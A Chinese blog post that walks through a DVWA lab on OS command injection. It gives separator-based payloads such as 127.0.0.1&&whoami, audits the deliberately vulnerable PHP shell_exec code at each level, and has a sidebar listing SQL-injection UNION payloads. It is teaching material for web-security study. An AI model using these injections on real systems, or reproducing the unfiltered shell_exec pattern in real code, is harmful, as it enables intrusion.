【OS命令注入02】OS命令注入漏洞靶场实验（基于DVWA靶场四个级别的 command injection）

已于 2022-07-01 04:46:59 修改
阅读量3.2k 收藏 8
点赞数 3
分类专栏： # 筑基07：WEB漏洞原理 文章标签： web安全 安全 os php
于 2022-02-27 16:40:52 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fighting_hawk/article/details/123163850
版权

目录

1 实验简介

1.1 实验目的

  1. 结合SQL注入、XSS漏洞、PHP语句注入等实验，加深理解注入语句的构造与绕过思路；
  2. 掌握OS命令注入漏洞的检验与利用方法；
  3. 加强代码审计能力。

1.2 实验环境

  1. 靶机：win2008虚拟机，部署WAMP环境，并搭建DVWA靶场。搭建过程参考文章《WAMP环境+DVWA漏洞测试平台搭建过程》。
  2. 真实机：win10系统。

1.3 实验前准备

  • Windows 系例支持的管道符如下：
    • |：直接执行后面的语句。例如： ping 127.0.0.1|whoami。
    • ||：如果命令遇到可以成功执行的命令，那么命令停止执行，即使后面还有正确的命令则后面的所有命令都将得不到执行。例如： ping 127.0.0.1||whoami。
    • &：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。例如： ping 127.0.0.1&whoami。
    • &&：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句只能为真。例如： ping 127.0.0.1&&whoami。
  • Linux系统支持的管道符如下：
    • ;：执行完前面的语句再执行后面的。例如： ping 127.0.0.1;whoami。
    • |：显示后面语句的执行结果。例如： ping 127.0.0.1|whoami。
    • ||：当前面的语句执行出错时，执行后面的语句。例如： ping 127.0.0.1||whoami。
    • &：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假 。例如： ping 127.0.0.1&whoami。
    • &&：如果前面的语句为假则直接出错，也不执行后面的，前面的语句只能为真。例如： ping 127.0.0.1&&whoami。

2 实验内容

尝试对不同安全级别的OS命令注入漏洞进行渗透，同时结合其代码审计互相印证学习。

2.1 low级别

  1. 当输入IP地址为127.0.0.1并点击submit时，回显内容为ping的结果。
    在这里插入图片描述
  2. 对此，我们推断该处输入参数能带入到后台执行，并回显内容，可能存在注入点。在我们参数输入位置前，应该是有ping命令。
  3. 我们采用语句whoami对网站及后台进行无损检测，更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami，回显结果如下，可以看到成功注入出系统信息。
    在这里插入图片描述
  4. 这是几个注入语句的测试结果对比，可以注入语句可能还有更多：
127.0.0.1&&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami			//执行失败，从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//成功执行，仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP，让程序执行或运算符后面的语句。
  1. 代码审计，可以看到该网页采用了shell_exec函数，同时，参数没有任何过滤。
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

2.2 medium级别

  1. 在low级别的基础上，测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami			//执行失败，从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//成功执行，仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP，让程序执行或运算符后面的语句。
  1. 代码审计，从其代码分析，在参数输入后对&&和;都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

2.3 high级别

  1. 在low级别的基础上，测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami			//执行失败，从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//执行失败，从显示错误信息判断可能是&被过滤
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//执行失败，从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami			//执行失败，从显示错误信息判断可能是||被过滤
  1. 代码审计，从其代码分析，在参数输入后对多种符号都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

2.4 impossible级别

该级别的代码过滤原则采用的是“满足才给过”，而不是前两关的“满足黑名单就过滤”的原则，因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入，比如ping域名则无法ping通。

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

3 总结

  1. 了解windows和Linux系统管道符运行特点；
  2. 了解OS命令注入的绕过思路。
Fighting_hawk
关注
  • 3
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
搭建DVWA渗透靶机实验
Mystic_JJ的博客
12-30 773
实验名称：搭建DVWA渗透靶机实验 实验目的：熟悉搭建DVWA渗透靶机 实验环境：操作系统：Windows 7 Win2K8r2x64 实验步骤： 1、将安装包复制粘贴到Win2K8r2x64的C盘xampp下的htdocs即可。 2、将文件进行解压，打开DVWA解压DVWA_jisuxia文件，右键“添加到压缩文件”进行一键压缩。配置htdocs点击DVWA目录下的config下的config.inc.php右键打开vim编辑 3、进入vim编辑器，进行修改配置文件 21行修改密码Pa98653
DVWA靶场，集成了owasp top 10漏洞
03-28
DVWA（Damn Vulnerable Web Application）是一个开源的Web应用程序，专为网络安全专业人士设计，用于学习和测试各种Web安全漏洞。这个靶场集成了OWASP（Open Web Application Security Project）的Top 10漏洞，这些...
实验一 静态代码编码规范审计实验
qq_59611876的博客
04-01 527
DVWA在不同环境下的搭建，代码审计工具RIPS的介绍
DVWA-Command Injection模块实验
最新发布
weixin_52363821的博客
04-29 1177
命令注入的3个条件； Low等级、Medium等级以及High等级； Impossible等级的机制以及修复、防御命令注入的方法。 描述上面之外你所知道的其他技巧(3种以上)。
DVWA-impossible代码审计
qq_45953122的博客
10-19 563
在暴力破解的impossible级别中，源代码中使用了Token校验，有效的放防止了CSRF攻击，并且进行了预编译查询数据库，防止了SQL注入漏洞。还添加了用户登录失败次数校验，账户锁定规则校验。在命令注入的impossible级别中，源代码中使用了Token校验，有效的放防止了CSRF攻击。在代码逻辑上对用户输入的ip数据进行过滤，也就是对输入的ip进行按位查看是否规范。从而防止了命令注入漏洞的产生。
DVWA靶场存储型XSS漏洞实验
weixin_44851588的博客
05-26 4595
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 来自菜鸟的一次简单分享，本次实验主要结合后台源代码讲解，梳理存储型XSS实验的思路，如果存在问题，请各位大佬多多指导。 一、XSS基础 1.什么是XSS？ XSS（Cross-site scripting）被称为跨站脚本攻击，由于与层叠样式表的缩写一样，因此被缩写为XSS。 2.XSS漏洞...
渗透测试-命令执行注入
lza20001103的博客
07-20 2835
渗透测试-命令执行注入
053 OS命令注入与DVWA靶场搭建及命令注入
鸡蛋炒鸡蛋
03-11 2821
文章目录
kali2021.3安装dvwa靶场
02-24
标题中的“kali2021.3安装dvwa靶场”是指在Kali Linux 2021.3版本中安装DVWA（Damn Vulnerable Web Application）的过程，这是一个广泛用于Web安全学习和实践的模拟靶场。描述中提到，这个教程是为刚接触Kali的爱好...
DVWA-master.zip_DVWA_php_漏洞_靶场
09-24
php攻防练习靶场，多种漏洞组合，练习代码审计，避免开发出现漏洞
DVWA靶场环境---新手入坑
10-28
DVWA靶场环境---新手学习web安全的必备靶场之一，DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
DVWA靶场环境搭建-dvwa.rar
10-15
DVWA靶场环境文件
结合dvwa靶场学习命令执行漏洞
LUOBIKUN的博客
09-19 895
命令执行漏洞概述 参考《web安全深度剖析》 一、概念 命令执行漏洞属于高危漏洞，指攻击者可以随意执行系统命令，它属于代码执行的范畴，不仅存在B/S架构中，也存在于C/S架构中。 二、分类 OS命令执行 部分Web应用程序提供了一些命令执行的操作，例如，如果想测试 http://www.test.com 是否可以正常连接，那么web应用程序底层就很可能去调用系统操作命令，如果此处没有过滤好用户输入的数据，例如管道连接符，就很有可能形成系统命令执行漏洞。 WINDOWS系统支持的管道符： “|”：直接执行后面
命令注入实操与总结
qq_51582652的博客
03-24 1990
这个内容是为了了解命令注入攻击的过程，掌握思路。记一次DVWA靶场的通关，commix-testbed靶场的实验。
burp靶场--操作系统命令注入
qq_33168924的博客
01-20 521
【代码】burp靶场--操作系统命令注入。
XAMPP、phpstudy搭建DVWA靶场
m0_59302403的博客
04-06 2252
DVWA-master 是一款用于学习和测试 Web 应用程序漏洞的开源软件，DVWA 全称是 "Damn Vulnerable Web Application"，意为“可被攻击的 Web 应用程序”。DVWA-master即为本实验要搭建的DVWA靶场。本实验在XAMPP搭建DVWA靶场的过程中给出搭建步骤和报错的解决方法，在phpstudy搭建DVWA靶场的过程中只给出搭建步骤。
DVWA靶场环境搭建
热门推荐
Tockm的博客
03-09 3万+
一、PHPStudy搭建 官网下载8.x安装包（选择和系统对应的版本） 官网：https://www.xp.cn 直接点击就可安装，步骤跳过 安装完成后，打开软件，点击启动 在浏览器地址栏中输入localhost或127.0.0.0，如果出现如下则正常 启动Apache和mysql服务 mysql不能启动的参考这边博客https://blog.csdn.net/m0_55887872/article/details/121956192 二、 DVWA靶机配置 进入官网
合天实验室命令注入
我只会装360的博客
11-20 265
命令注入攻击（Command Injection），是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作，实现使用远程数据来构造要执行的命令的操作。 PHP中可以使用下列四个函数来执行外部的应用程序或函数：system、exec、passthru、shell_exec，四个函数的原型如下： string system(s...
dvwa靶场sql注入命令大全
05-25
以下是一些常见的DVWA靶场中使用的SQL注入命令： 1. 获取当前数据库名： ``` ' union select database(),null # ``` 2. 获取当前用户： ``` ' union select user(),null # ``` 3. 获取当前版本号： ``` ' union select @@version,null # ``` 4. 获取所有数据库： ``` ' union select group_concat(schema_name),null from information_schema.schemata # ``` 5. 获取所有表： ``` ' union select group_concat(table_name),null from information_schema.tables where table_schema=database() # ``` 6. 获取表中所有列： ``` ' union select group_concat(column_name),null from information_schema.columns where table_name='table_name' # ``` 注意：其中的table_name需要替换为具体的表名。 7. 获取数据： ``` ' union select group_concat(column1,column2,...),null from table_name # ``` 注意：其中的column1,column2,...需要替换为具体的列名，table_name需要替换为具体的表名。 以上是一些常见的命令，但实际使用时需要根据具体情况进行调整。另外，在实际使用时，需要注意DVWA靶场仅用于学习和研究目的，不得用于非法用途。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值